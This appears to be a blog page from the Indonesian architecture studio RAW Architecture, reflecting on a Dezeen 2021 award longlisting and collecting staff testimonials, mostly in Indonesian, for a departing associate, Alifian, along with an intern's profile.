The studio consists of collaboration and dialogues between three platforms; the first one is RAW Architecture design studio explores the methodologies of sustainable design and relationships between contexts and materials; second is DOT Workshop laboratory emerges the art of building construction in implementation producing tectonic grammars; and Omah Library contributes to research, literacy developments, books publishing and hosting hundreds of periodical public discourse-seminars.
Realrich Architecture Workshop serves in the cores of the ecosystem of sustainable design and practice in Indonesia.
Marcus Fairs and all of the Dezeen team. I just wanna say that thank you for the initiative of the Dezeen Awards. We got an email about good news for the RAW Architecture studio. So Guha is long-listed in Dezeen 2021 award which means, the cave’s experimentation is recognized. The transformation over time needs patience and elaboration of methods, tectonic in implementation. Since the beginning, The impact that the award gave us is powerful. We have got recognition from many intellectuals. Even though it also challenges us to be able to improve even further. It’s like a mirror asking ourselves, are we progressing ? or are we stuck by our own shadows and persona. Jung is probably right, to be to overcome ourselves. We need to say grateful for all of the other people have done to us. . This work has a resemblance of collage of available context and making of craftmanship. The program is flexible and forms a Labyrinth that has 200 doors inside. The doors showing the degree of flexibility, and the maze represent the dynamic and plural change. All of the inspiring intellectual people have the shadow of being the type of people who forget the roots, how I dream of a society that appreciates and has a unique and specific design approach, providing complete generic solutions, and still humane. . To service our clients, our own ecosystem, our daily routines, appreciating the people inside the studio is my goal. It’s an act of giving. This is my message to myself as hope and a reflection of our journey process. This is with the hope of building a studio culture with dialogue. I asked the people inside the studio to write down impressions on experience in the studio. Many people answered in simple writing. Many people write long paragraphs. All of the prayers for our studio are developing than before. This is including the hope of building a studio culture with dialogue.
“Even though I’ve only been in RAW Architecture for three days, but I can already sense the fast and restless flows of information in-between the work environment, which honestly made me quite “surprised” because I wasn’t fully used to this pace. But I started to learn how to work with a team, and was more careful with details, whether it’s technical details that have been ‘standardized’, or non-technical such as workflows doing a job/drawing in the studio. From that ambience, it sparks myself to fully extend my creativity and my energy, giving good strains to them so that they will expand and grow in the long run. … I am really grateful to be here and will try my best to keep my pace up, my learning spirit up, and get to know all of the family more.”-Avinsa Haykal.
“Grateful to still be given the opportunity to work and study here. Throughout the journey in RAW for almost 2 years, it is enough to feel once how RAW transforms or progresses. Both in terms of studio culture, workplace, job management to work product standards. I am grateful to be able to learn in every phase. I’m sure this change is a good thing, but sometimes it’s considered too fast because because not all lines can respond directly to it, it takes time to adapt. That way I think there needs to be proper control so that this change does not end in chaos, system flexibility seems to be needed to accommodate the course of change or transformation. But I don’t think it’s easy to make it, you need to be careful and consistent in sorting out which cores are fixed and which ones can change. This flexible system also needs to be refined at any time…” – Alim Hanafi
“I hope the ecosystem is more developed. And make the platform we develop become a trendsetter for Indonesia and the world”-Muhammad Farhan Nashrullah
“…I want to continue to gain more knowledge so that I can develop”- Farrel Ihsan Prahaditya
“Being part of the raw team is a matter of pride for which I am very grateful. Being on the Dream team with a supportive and positive environment provides its own motivation to continue to progress and develop in undergoing various processes in raw. Be happy and proud every time Raw gets various awards and keeps moving forward. I hope that raw will continue to be a humble and warm dream team like family…” – Andriyansyah Muhammad Ramadhan
“Congratulations to RAW Architecture and all the partners involved in the development journey of this firm. Successive achievements in Dezeen are certainly not by chance. I believe that every point has an important role, which has developed its potential very well by Rich and Yudith. Hopefully this firm can continue to play a role in the development of architecture and the built environment in Indonesia. Stay humble and work with accurate, inspiring, and aware. And especially the OMAH Library where I was educated, hopefully it will always be a place to stop and return for souls who are restless about themselves and the discourse of architecture in Indonesia… Thank you RAW and OMAH, what a great experience!”- Satria Permana Agung
“Congratulations to the awesome RAW studio for being able to enter the 2021 long listed dezeen awards, which is sure to get to this point I don’t think it’s easy, but Rich has imagined it beforehand, so that he continues to try to give the best for each of his works with sincerity and patience so that it produces something which is amazing, and don’t forget what is certain is the solid teamwork that is in it. The hope for the future is that this studio will be more successful and advanced again nationally and internationally, which can be known by everyone and all circles, with its architectural character starting from the use of materials, methods, and also the form of exploration. Even simple materials can make something cool…. Congratulations to RAW Studio. THE BEST OFFICE IN THE WORLD.”- Khafyd
Previously, the people’s comments are in Bahasa (Indonesian), I took time to translate this to English, and I showed Laurensia these comments and feel grateful about it. Some of them are conveying gratitude and evaluation to us. I hope this year of period in Pandemic brings a humbleness of attitude, honesty, the softness of making, and clarity on thinking. This totality of both is called praxis. As professional architects, we all have a primary task, praxis, and a more elaborated one to achieve the poetic side of work. It’s like thinking, doing, and pushing all of the effort to produce good work. All of us in the studio are being better, training others, and being trained by others. This brings good wishes for creating a better ecosystem of practice. . Hopefully, with the good wishes of the studio, the spirit can be maintained and realized. Things that should be improved can be improved. Rahayu needs to be practiced to become a good “bridge.” . The sound of steel welder is loud calling from outside, the craftsmen knocking. “Sir, what do you think about these joineries ?” Suddenly, the sound of steel welder, Aep, is loud calling from outside, the craftsmen sending a text. “Sir, what do you think about these joineries? I just made things from the reused material.” Thank you, people. Let’s get back to work. Best Office in The World.
Hari ini (jumat) di Bulan July 2021 adalah saat Alifian Kharisma menghabiskan hari terakhir di studio, Alifian akan berhenti menjadi tim permanen di studio dan mungkin akan membantu di project berdasarkan part time apabila diperlukan dan waktunya memungkinkan karena kesibukannya di sekolah dan keinginannya berdikari. Jadi setelah ini akan off dari grup kordinasi langsung studio ini. Jalan panjang masih terbuka, untuk berbagai kemungkinan. Kita semua masih bekerja bersama – sama, hanya saja dari tempat berbeda, berkumpul bersama, hanya intensitasnya lebih jarang. Lembar masa depan terbuka lebar dengan berbagai macam kemungkinan.
Hari ini (jumat) di Bulan July 2021 adalah saat Alifian Kharisma menghabiskan hari terakhir di studio, Alifian akan berhenti menjadi tim permanen di studio dan mungkin akan membantu di project berdasarkan part time apabila diperlukan dan waktunya memungkinkan karena kesibukannya di sekolah dan keinginannya berdikari. Jadi setelah ini akan off dari grup kordinasi langsung studio ini. Jalan panjang masih terbuka, untuk berbagai kemungkinan. Kita semua masih bekerja bersama – sama, hanya saja dari tempat berbeda, berkumpul bersama, hanya intensitasnya lebih jarang. Lembar masa depan terbuka lebar dengan berbagai macam kemungkinan.
saya sangat berterima kasih atas upaya, kerja kordinasi Alifian menuangkan kerja kreatif dan kritis yang intensif yang tidak hanya sebentar namun bertahun – tahun disini. Alifian adalah orang yang sabar dan tidak pernah lelah menemani saya dan adalah saksi hidup di studio dibalik gagalnya dan suksesnya proyek kecil maupun besar. Dan dirinya adalah jembatan antar generasi di dalam studio ini. Ia adalah saksi bahwa Kesuksesan adalah hasil dari pembelajaran – pembelajaran dan ia sendiri terus bertransformasi sampai sekarang.
Kerja – kerja Alifian adalah kerja yang tidak mudah karena untuk menempati posisi seperti dirinya yang adalah kepala di studio memerlukan untuk melepas ego dirinya dan melebur di dalam kondisi orang lain, multi perspektif, multi disiplin dan lagi – lagi multi generasi. Ia adalah jembatan nyata antara designer yang baru atau desainer dengan ratusan orang yang sudah masuk lalu lalang di studio .
Di dalam budaya studio RAW Architecture, sekali sudah menjadi keluarga di studio, nama Alifian akan terus dikenang upaya, karakter, dan kontribusinya dan hal tersebut akan terus dicatat. Tali silahturahmi ini tidak akan terputus dan sama – sama kita doakan yang terbaik kesuksesan Alifian.
Tim kita adalah tim kecil yang realistis, ada tim admin, tim build, tim desain, dan tim perpustakaan. Tim ini bisa saja terlihat kecil namun terbukti progressif, dari tim yang kecil kita membuka sekat – sekat kemungkinan melalui ketepatan kerja, waktu dan kualitas personal. Alifian adalah tim inti salah satu nukleus yang menyatukan ekosistem yang ada. Tidak mudah mencari setiap orang untuk bisa bekerja bersama dari proses seleksi. Begitu antar personal bertemu sulit berpisah karena sudah tercipta ikatan emosional. Di balik ikatan tersebut ada doa untuk menjadi biasa, ada doa untuk menjalani segala suatu yang apa adanya, menjadi seseorang yang terus berbagi, dalam suka ataupun duka.
Kita semua berlatih untuk meraih dan melepaskan waktu, relasi, dan kesempatan. Momentum tersebut membentuk sebuah kenangan yang baik. Alifian sudah memberikan kenangan yang manis di dalam Studio ini. Semoga ilmu yang didapatkan di studio bisa diamalkan Alifian terus menerus. Alifian punya sendiri membentuk kehidupan orang lain memberikan dampak yang positif dan usaha untuk memperdalam ilmunya di dunia arsitektur. Di dalam arsitektur kita mendapatkan visi, misi, belajar, dan mengaktualisasikan jiwa raga kita semua sepenuh hati. Dari situ muncullah kesempatan untuk memberikan jejak kenangan, dan saya patut berterima kasih jejak kenangan Alifian yang tidak akan terlupakan kepada studio ini.
Di bawah ini saya lampirkan buku kecil, jejak – jejak kenangan cerita untuk Alifian, harapannya, dan pendapat orang lain mengenai dirinya dengan harapan memberikan kenangan yang manis.
Today (Friday) in July 2021 is when Alifian Kharisma spends his last day in the studio, Alifian will stop being a permanent team in the studio and may help on a project on a part time basis if needed and the time allows due to his busy schedule at school and his desire to be independent. So after this will be off from this studio direct coordination group. There is still a long way to go, for possibilities. We’re all still working together, just from different places, coming together, just less intensely. The future is wide open with a wide variety of possibilities.
I am very grateful for the efforts, Alifian’s coordinating work has poured intensive creative and critical work that has not only been for a short time but for many years here. Alifian is a patient person who never gets tired of accompanying me and is a living witness in the studio behind the failures and successes of small and large projects. And he is the bridge between generations in this studio. He is a witness that Success is the result of learning – learning and he himself continues to transform until now. . Alifian’s work is not an easy job because to occupy a position like him who is the head of the studio requires to let go of his ego and merge into other people’s conditions, multi perspective, multi discipline and again – again multi generation. He is a real bridge between a new designer or designer and hundreds of people who have entered the studio . In RAW Architecture’s studio culture, once family in the studio, Alifian’s name will continue to be remembered for his efforts, character and contributions and that will continue to be recorded. This friendship rope will not be broken and together we wish Alifian the best for success. . Our team is a realistic small team, there is an admin team, a build team, a design team and a library team. This team may look small but is proven to be progressive, from a small team we open up the barriers of possibilities through work accuracy, time and personal quality. Alifian is the core team of one of the nuclei that unites the existing ecosystem. It is not easy to find everyone to work together from the selection process. Once the personal meet is difficult to separate because it has created an emotional bond. Behind this bond there is a prayer to become ordinary, there is a prayer to live everything as it is, to be someone who continues to share, in joy or sorrow. . We all practice grabbing and letting go of time, relationships, and opportunities. The momentum forms a good memory. Alifian has given sweet memories in this studio. Hopefully the knowledge gained in the studio can be practiced by Alifian continuously. Alifian has his own way of shaping the lives of others, giving a positive impact and an effort to deepen his knowledge in the world of architecture. In architecture we get the vision, mission, learn, and actualize our body and soul, all of us wholeheartedly. From there came the opportunity to provide a trail of memories, and I should thank this studio Alifian’s unforgettable memories. . Below I attach a small book, traces of memories of the story for Alifian, his hopes, and other people’s opinions about him in the hope of giving sweet memories.
From monday the world goes on as usual, everyone has their own journey, congratulations Ali.
Alifian Kharisma Syahziar
“Thanks for everything kak Rich n kak Yudith . You’re such a Role Model. Saya banyak belajar dari kak Rich bagaimana mengelola biro dimana orang orang menggantungkan sebagian nasibnya disana, bagaimana mengelola biro yang dituntut terus berkembang pengetahuannya mengikuti perkembangan teknologi. Terlebih lagi, bagaimana menjadi arsitek yang juga orang tua, guru, dan manusia biasa. At the end, perjalanan di studio adalah bagaimana kita masuk, dan terkahir, bagaimana kita keluar.
Testimonial Alifian mengenai proyek di studio.
“kultur studio RAW tidak lepas dari karakteristik seorang kak rich. yang tangkas, mendidik, dan passionateful. dari ribuan jam sy di studio rasanya selalu ada hal baru menanti. ‘there is no problems if new one arrives every minute’. kutipan di ppt raw introduction yg selalu sy bacakan buat para staff baru dan anak magang. ini kesan saya yang pertama. Bekerja seperti belajar berenang, kadang dibimbing, kadang dilepas. kalau tenggelam ada yg ngangkat ke permukaan lagi. kak rich dan para senior itu mentor sy untuk berenang. kak rich pun masih belajar dengan guru dan tingkatan yg berbeda. seiring pengalaman, saya juga harus menjadi mentor untuk yg lebih muda.”
” kesan saya untuk proyek Kemang sejauh ini: pengalaman yg baru dengan realitas proyek yang seperti nya lebih komplit dr yang pernah sy jalani di studio dari segi stages. mulai site analysis, skematik, DD, tender drawing, for con drawing, perijinan, meeting mingguan, MoM. saya bisa bertemu banyak stakeholder seperti proyek manajer, qs, kontraktor, konsultan2 lain.
di tim studio sendiri yg paling unik adalah dmn person incharge nya ganti ganti. seingat saya dimulai dr asep dan irul, trs ke saya, aga, gomes, aris, michael, trs ke nida dan dini. beberapa anak magang jg membantu untuk eksplorasi maket. jd kesannya proyek ini adalah proyek keroyokan. menurut sy portfolio bagus untuk kita sebagai studio dan individu mengingat proses nya yg komplit dan proyek nya adalah proyek bangunan publik, apalagi di kemang. memang disayangkan anak2 diatas tidak mengalami penuh proses ini.
bagi saya, proyek semacam ini adalah kesempatan yg baik bagi siapapun untuk bisa merelealisasikan apa yg direncanakan dengan banyak pelajaran. proses desain yang cukup dalam, interaksi dgn orang luar lingkup raw, mensinkronkan pikiran, professionalitas, mengujui kesabaran. 😁”
Testimonial Alifian tentang cara kerja studio.
“kultur studio RAW tidak lepas dari karakteristik seorang kak rich. yang tangkas, mendidik, dan passionateful. dari ribuan jam sy di studio rasanya selalu ada hal baru menanti. ‘there is no problems if new one arrives every minute’. kutipan di ppt raw introduction yg selalu sy bacakan buat para staff baru dan anak magang.
ini kesan saya yang pertama. Bekerja seperti belajar berenang, kadang dibimbing, kadang dilepas. kalau tenggelam ada yg ngangkat ke permukaan lagi. kak rich dan para senior itu mentor sy untuk berenang. kak rich pun masih belajar dengan guru dan tingkatan yg berbeda. seiring pengalaman, saya juga harus menjadi mentor untuk yg lebih muda.
kesan yang kedua yaitu: setiap orang di studio ini punya kepribadian masing2 yg unik. punya skill skill yg tidak terduga, jago bola, musik, jago joget, jago kerajinan tangan, dll. orang orang datang dan pergi. mereka punya kesan masing2 bahkan untuk orang yg cuma punya waktu 1 hari di studio. 😆. dari sini saya bersyukur kenal macam macam orang.
kesan sy yg ketiga yaitu bekerja di studio ini memang sangat dikejar kejar waktu. sejak marak wa grup 3 tahun lalu.semua proyek dibuat wa grup kordinasi dan hampir semua nya saya join. notifikasi di hp saya tidak berhenti muncul, akhirnya sy silent grup yang sedikit atau tidak ada kaitannya. hampir setengah dari waktu kerja dihabiskan dgn kordinasi wa atau telepon. semakin hari wa grup semakin bertambah. sy menyadari kalau proporsi proyek baru dan proyek selesai memang tidak pernah seimbang. laju informasi dari wa yang tidak bisa dibendung. untuk ini saya seringkali membalasnya dgn “”apa masih ada waktu?”
-Pesan untuk Studio: Punya lebih banyak kerabat yang baik, orang2 yang saling mendukung dan punya vibes yang sama diiringi dengan punya lead time yang baik sehingga bisa selaras. -Pesan untuk kawan kawan terbaikku: Kumpulkan bekal sebanyak banyaknya. dengan rendah hati, enjoy,. Semoga lebih disiplin lagi kedepannya dan have a healthier cycle.”
Testimonial dari rekan – rekan yang lain.
Nurul dan Repi : ” Makasih mas ali udah gak ngeribetin kalo pas reimburse grab sm toll, makasih udah selalu dingin tapi tiba-tiba bikin ngakak, yaudalah yaaa makasih buat semuanya aja, semoga kita bisa bertemu di lain waktu dan kesempatan. aamiin”
Dimas Dwi Mukti Purwanto : “Saya memahami bahwa mas Ali adalah sosok yang tenang dan stabil. Dan sosok yang tenang dan stabil memiliki perannya sendiri dalam sebuah ekosistem perusahan dalam menenangkan situasi sehingga kita bisa berpikir lebih jernih. Saya pikir ini aspek fundamental dalam ekosistem pekerjaan arsitektur. Yang membutuhkan gagasan2 kreatif dalam waktu yang relatif singkat. Pernah suatu ketika bekerjasama dalam satu pekerjaan membuat materi presentasi. Deadline tergolong padat. Namun pekerjaan justru diselesaikan dengan sangat tenang. Dan pada akhirnya kita bisa menyelesaikan susunan materi sedalam apa yang telah kita pikirkan. Cukup membanggakan secara personal. Apa yang dikerjakan sangat berguna bagi perusahaan. Mungkin kalau tidak tenang, kita akan terjebak dalam pikiran “”yang penting selesai””. Dan ini akan menciptakan penyesalan bagi diri sendiri. Tetap tenang dan stabil adalah hal yang bisa dipelajari dari mas Ali”
Caroline : Senang melihat kamu terus berkembang, sukses selalu dalam karier, pendidikan dan pribadi, sampai jumpa
Kiswanto : Terima kasih untuk mas ali yang sudah menjadi bagian dari keluarga besar RAW dan semangat terus untuk menempuh pendidikan barunya semoga sukses dan apa yang di cita citakan semoga cepat terkabul.amiinn
Rico Yohanes : Hampir 2 tahun saya berada di RAW, pengalaman saya bertemu kak Ali sepanjang ini memang sering berada di luar lingkup proyek. Menurut saya Kak Ali adalah teman sekaligus guru yang ramah dan bijaksana. Bercandaan yang spontan tapi mengubah situasi studio menjadi lebih santai. Beliau suka bercanda, namun suka juga serius sekaligus tegas. Dia juga sering menjawab pertanyaan walaupun bukan lingkup pekerjaannya. Tidak heran dia menjadi seorang assosiate, karena mampu mengendalikan situasi studio. Semoga dampak yang diberikan oleh kak Ali di studio dapat berdampak juga diluar sana. Semoga kehidupan lahir baru arsitek-mu sukses dan jaya kak. Jangan lupa dengan kita kak, suatu saat kita akan bertemu dengan situasi yang berbeda 😁. Thank you untuk pengalaman sepanjang di studio kak. Setelah pandemi selesai ada permainan yang harus kita mainkan 🎮 Yuliana Putri semoga Ali untuk melakukan pekerjaan yang hebat dengan mencintai apa yang sudah dilakukan / dikerjakan dengan semangat dan bahagia, jika belum menemukannya, teruslah mencari dan jangan puas, sukses slalu untuk ka Ali :)
Satria : Thank you kak Ali. Good job ya. semoga setelah ini banyak hal keren menjumpaimu. meski nggak banyak kerjasama, tp lo banyak ngasih gw cara gimana cara menghadapi realita. see you on the next level.
Novita Gunawan : Momentny saat ngurusin ajib buat perijinan imb, ngejar ajib bareng kak Ali, bolak baliknya itu ada jengkel sama ajib sampai lega akhirnya selesai imb nya, keren sich, Kak Ali termasuk sesepuh di tim design, panutan yang baik buat karyawan disini, semoga Kak Ali tambah sukses dan semoga bisa ketemu lagi nanti dan bisa silaturahmi. Semoga Kuliah nya lancar dan Semoga sukses kak
Andriyansyah Muhammad Ramadhan : Kak ali itu salah satu sosok leader yg paling super duper humble, sabar, dan bener2 kaya sosok kakak yg bakal support dalam semua hal. Banyak banget dapet pelajaran2 berharga dari kak ali mulai dari arsitektur dan pelajaran hidup . Orangnya bisa diajak ngobrol dari hal2 serius tentang urusan kantor sampai hal2 sepele / gak penting di luar kantor. Bener – bener kak ali gak ada duanya, terbaik dari yang paling terbaik. Bakal kehilangan sosok kakak super humble ini di kantor, tapi yang paling penting all the best untuk karir kak ali kedepannya yaa, semoga bisa terwujudkan semua harapan dan cita2nya
Erick : Untuk Alifian, warna kantor baik secara karya maupun keceriaan kantor tidak lepas karena adanya Ali. Thanks untuk waktu bisa berkembang bersama di kantor. See ya again.
Khafyd : Teruntuk kak Alifian , pertama kali saya masuk studio saya melihat kak Ali ini orang yang sangat serius dan gak mudah ketawa, seiring berjalannya waktu saya mulai dekati kenalan dan ngajak ngobrol dan dari situ saya mulai tau kalau dia ternyata Assosiate, dimana seseorang yang memimpin mengatur pekerjaan tiap” orang di dalam studio ini. Dari situ saya coba melihat mengamati bagaimana cara dia dalam memimpin rapat, diskusi dengan pic masing” proyek dan juga bagaimana dia mengasih tahu detail” konsep design. Kak Ali ini merupakan seseorang asyik ketika menjadi teman dan suka ngelawak, yang serius ketika menjadi pemimpin, yang sabar ketika menjadi guru di dalam studio raw . Semoga kedepannya bisa ada ka Ali yang ke 2 ke 3 dan seterusnya yang hadir di dalam studio raw ini. Yang mempu memimpin semua proyek dan menjadi tauladan bagi anak” arsi raw untuk menjadikan studio ini yang terbaik dengan karyanya. Sukses terus untuk ka Ali kedepan nya khususnya study S2 nya. Semoga bisa bertemu lagee… :)
Memeh : Thank you for your help and kindness. I wish you the best of luck and continued success wherever you may find yourself. See you soon.
Meimei (Agustin) : Untuk mekanisme kantor sekarang saya merasa jadi lebih teratur dan lebih tertata kak. Dengan adanya absen yang baru, kita jadi bisa lebih disiplin, bukan hanya ke studio (pekerjaan) tapi juga ke diri sendiri. Karena terkadang kita lupa waktu sehingga tidak bisa disiplin ke studio ataupun ke diri sendiri. Terima kasih kak
Vivi Y. Santosa : “Adanya sistem jam kerja yang jelas membuat bekerja lebih mudah dan menciptakan keproduktifan yang baik. Saya juga lebih senang karena ada ruang waktu work life balance lebih baik. Arsitek adalah pekerjaan marathon yang panjang, batasan waktu kerja dan istirahat yang cukup itu perlu sehingga tidak jenuh dan bisa mendapatkan hasil yang optimal.
Testimoni untuk Kak Ali : Seseorang yang sangat saya hormati karena beliau bekerja secara profesional tapi tidak kaku (fun orangnya). Jarang mengeluh, fokus dalam membereskan pekerjaan. Sangat jelas dalam membimbing dan memberi pengarahan. Belajar banyak bagaimana harus bekerja secara smart, cepat, dan tepat sasaran. Best associate that i ever had! :)”
Thomas Andrean Santoso “..ingat dulu sy datang dikondisi kantor sedang hectic banget. hehe dan saya melihat dan merasa tensi kantor sedang tinggi sekali. serem juga sih awalnya termasuk Mas Ali. kaya sadis gitu. lalu saya ikut aja yang dia minta dan selesailah proyek deadline tersebut.saat makan malam eh mulai muncul sifat-sifat banyol yang saya ga abis pikir. ternyata orang nya ancur begini. joget-joget ga jelas, nyeloteh yang absurd, dan seringnya mecah keheningan kantor lewat celotehan aneh bin nyleneh. cuma ni orang saya pikir ada sisi tenang dan pendiamnya yang jadi enak kalo ngobrol yang serius-serius juga masuk. tak terasa 3 tahun perkenalan kita, istilahnya seperti temen SMA yang kocak abis selesai masa 3 tahun dan lulus sapa si yang ga kangen. tapi gapapa pertemuan dan perpisahan cuma dimensi waktu dan tempat saja, tapi hubungan relasi dan keterikatan memori tetap akan ada. sukses my Bro!”
Alvyan adi saputra : “Hubungan antar manusia yang sehat, sehingga menciptakan suasana kerja yang tidak membosankan walau sering pulang sampai malam. Terasa seperti kembali ke masa kuliah lagi. Banyak open space di kantor buat lingkungan kantor buat saya bisa tenang (karena saya tipikal orang yang tidak terlalu betah di dalam ruangan tertutup). Banyak buku-buku tentang Improving Self-Esteem yang bisa di baca. Untuk sedikit masalah kecil yang saya dapat di diri saya sendiri mungkin dari sisi jam kerja, kadang saat ada acara keluarga di rumah ,merasa sungkan untuk pulang lebih awal di banding teman2 yang lain, walau tidak ada aturan pulang jam 9 malam. Dan mungkin untuk makanan bisa di perbanyak sayur2an, tempe atau tahu di banding ayam yang berminyak, agar kondisi kesehatan dan imun warga kantor RAW bisa lebih kuat dan tidak mudah sakit. Sebelumnya moho maaf jika ada salah kata atau lancang dalam menginterpretasi atau memberikan hal hal yang ingin di sampaikan, terimakasih
Fina : “Banyak hal yang saya dapatkan di RAW. Bukan hanya mengenai desain dan teknis, tapi juga tentang tanggung jawab, kemandirian, kenekatan, keberanian, ketekunan, pertemanan orang2 dan budaya kerja yang berbeda di sini. Saya merasa atasan di sini juga bisa menjadi teman atau mentor yang baik, humble, bisa menyatu satu sama lain. Mungkin hal ini tidak akan saya dapatkan di tempat lain. Ketika memasuki suatu hal yang baru pasti ada banyak hambatan. Karena ketidaktahuan di awal. Saat masuk build saya menemukan banyak kesulitan, saya tidak tahu mengenai semua data, file, obrolan dengan owner / vendor karena tidak ada di grup, tidak tahu di mana letak semua file. Tidak tahu kalau ada update perubahan. Harus berkoordinasi dengan berbagai macam orang dengan karakter yang beda. Saya bersyukur sekarang sistemnya sudah lebih diperbaiki. Juga berharap agar saya yang ilmunya masih sedikit ini dapat dibimbing dan didengar. Kalau associates / HRDnya bukan Kak Ali aku mungkin sekarang ga di RAW. Kak Ali itu suka banget psikologi atau nebak2 orang. Peka banget, sabar, bisa inget sama ngerjain banyak hal dalam satu waktu. Anak pertama banget. Kalau ada yang ke lapangan Kak Ali juga diem2 ngecek. Selalu cepet cek hp, whatsapp, dll. Cek, double check, triple check. Suka nguping. Selalu nolongin sama ngurusin orang-orang. Aneh, nyentrik, suka ngejudge, ENFP gitu. Walaupun omongannya kadang nyelekit tapi Kak Ali abis itu bantuin/ngajarin. Kalau diajak yang aneh2 pasti mau walaupun awalnya malu-malu. Pake masker, makan biskuit bayi. Oiya kadang Kak Ali juga sering malu-malu atau awkward walaupun termasuk orang yang rame. Kalau mau sesuatu langsung gas bilang aja kak. Berharap bisa lebih banyak ngobrol, bercanda, belajar sama Kak Ali. Semoga kedepannya rejeki Kak Ali lancar, dapetin apapun yang dimau dan dikejar. Aamiin”
Pandu “…Salah satu hal yang kemudian menjadi berkesan lainnya adalah pertama kali saya bertemu dengan Alifian, partner sekaligus teman diskusi, hingga label “”menolak tua”” saya pikir cukup melekat pada dirinya. Visi hidupnya cukup jelas untuk menjadi yang berbeda dan memberikan dampak tidak hanya utk pribadi, melainkan juga untuk kultur arsitektur di generasi sekarang yang tidak lagi one-man-show, melainkan proses kolaboratif dan juga teamwork.
Dear kak Ali, cc temen temen semua, ini wrapup saya untuk semuanya jadilah gatekepeer see u on another level be bulletproof dan yang terpenting be secure dont kill yourself and take your time “ Fadiah : “…hari ini bertepatan dengan selesainya tugas Ali di RAW. Setelah mengenal Ali selama hampir 5 tahun ini, Ali meninggalkan banyak kesan untuk saya secara personal maupun profesional. Ali orangnya sangat jenaka, gaya ceplas-ceplosnya, spontanitasnya dan jokesnya yang aneh-aneh, membuat suasana yang tadinya tegang bisa menjadi lebih cair. Dilain sisi, Ali adalah pemimpin yang baik dan bertanggung jawab. Saya ingat betul diawal saya masuk, dia dengan sabar membimbing saya dalam gambar yang dibutuhkan untuk dikirim ke client. Dia juga yang mengantar saya sampai kost waktu pulang sangat larut, padahal arah pulangnya berbeda. Saya menyaksikan banyak perubahan yang terjadi pada Ali. Dari gaya preman menjadi casual. Dari motor revo menjadi sigra. Dari kaca mata kotak menjadi kaca mata bulat. Dari single menjadi in relationship (thanks to proyek Felita ya Li). Dari junior designer menjadi longest associate. Dan dari semua perubahan itu, Ali tetap konsisten menjadi Ali yang jenaka dan bijaksana.
Ali adalah salah satu contoh berhasilnya RAW berperan dalam mencetak pribadi yang lebih matang. Saya percaya dibalik segala tekanan yang ada, itu adalah ujian untuk mengenal diri kita pribadi, bagaimana kita menghadapi dengan baik, bagaimana kita berproses untuk menjadi lebih dewasa, bagaimana kita tahu kapan untuk lari kencang atau duduk sejenak, dan akhirnya bisa naik level. Semoga akan terus ada Ali-ali yang lain di sini.
(Good job Li, sukses S2nya. Tq ya buat moments yang sudah dilalui bersama!)”
Timbul Arianto : “Its a serendipity having such opportunity of working and guidance by such a great mentor. Started from a raw freshman and still going into collegary and mentorships. Sebagai leader Mas Ali sosok yang sabar, tegas dan penuh dedikasi, baik dalam pekerjaan sebagai leader maupun sebagai kolega,
Kesabaran dalam mengajar dan mendidik para junior adik-adik baru, sehingga menjadi individu yang mampu dan capable. Tentunya ini bukan kata-kata manis saja, dari mana saya tau? karna sayapun sendiri mengalaminya. dipimpin dari 0 hingga menjadi individu yang “”confident””. Mungkin ini terlalu personal, namun memang pada dasarnya pendekatan profesional yang dilakukan oleh Mas Ali sangat sulit untuk tidak bisa masuk dalam ranah personal, karna tidak hanya berkaitan dengan pekerjaan tapi juga pola pikir yang berkembang dan terus berjalan.
Berkaitan dengan hal tersebut, tentunya peran kantor sebagai tempat bekerja yang mengizinkan adanya relasi yang sehat baik secara profesional dan personal. Terlebih dari itu juga tidak lepas dari peran kepemimpinan para leader, salah satunya Mas Ali.
Saya percaya Mas Ali sudah cukup mendidik dan meneruskan “”legacy”” yang baik, secara profesional dan figur untuk adik-adik disini. Oleh karna itu juga saya percaya dan positif terhadap policy terbaru dari kantor, Ini merupakan kesempatan untuk berbenah diri dan keluar dari zona nyaman, karna setiap fase tentu perlu berubah agar kita tau seberapa jauh sudah kita berkembang.”
Hari senin dunia berjalan seperti biasa, setiap orang punya perjalanannya masing – masing, selamat melangkah Ali.
Joscelind Vallen Kawengian atau yang biasa dipanggil celind / joce, merupakan mahasiswa dari program studi arsitektur Universitas Kristen Petra Surabaya. Celind mempunyai keingintahuan yang tinggi tentang dunia arsitektur, namun ternyata hanya dengan mengikuti alur perkuliahan dari kampus saja sejauh ini belum cukup untuk menjawab rasa keingin tahuannya. Oleh karena itu Celind beberapa kali mengikuti sayembara arsitektur dengan memilih topik/tema sayembara yang diikuti sebisa mungkin berbeda-beda, agar apa yang didapat/dipelajari juga bisa lebih luas. Untuk hasilnya, sebenarnya sedikit yang bergelar juara. Namun prinsip Celind dalam bersayembara adalah ‘nothing to lose’, menang adalah bonus, kalau kalah pun tetap dapat ilmunya. Tentu masih dalam proses perjalanan menjawab rasa ingin tahunya tentang arsitektur, Celind yang sekarang merupakan mahasiswa semester 7 pun memilih untuk mencari jawaban lewat mengikuti program magang di RAW Architecture selama 3 bulan. Celind berharap lewat magang di RAW ini bisa sedikit banyak menjawab rasa keingin tahuan Celind, baik tentang metode desain kak Rich di RAW, tentang bagaimana pemikiran kak Rich tentang arsitektur, tentang cara mendesain secara kontekstual dan tidak mengedepankan ego, bagaimana implementasinya di lapangan, serta apakah sebenarnya yang Celind selama ini pelajari di perkuliahan bisa benar-benar berdampak buat orang lain.
Testimonial 1
Selama kurang lebih 1 minggu mengikuti program magang di RAW, sesederhana duduk, mendengarkan, dan memperhatikan workflow yang ada di ruangan yang sama dengan Kak Rich dan Kakak-kakak dari tim desain lainnya saja sebenarnya saya sudah bisa mendapatkan banyak hal baru dan menarik. Selain mendapatkan hal-hal baru terkait arsitektur seperti dalam pengerjaan 3d modelling maupun dalam penyajiannya, saya juga merasa sangat mendapat banyak hal tentang bagaimana dalam berkehidupan lewat apa yang kak Rich sampaikan dalam sehari-hari ketika membriefing maupun sekedar bercerita. Sejauh ini mengikuti program magang di RAW merupakan hal yang menantang mengingat saya seolah dipaksa untuk mempunyai time management yang baik karena sambil melangsungkan kuliah yang dijalankan secara online serta sudah sesuai bahkan melebihi apa yang saya ekspektasikan sebelum join pada program magang di RAW
Testimonial 2
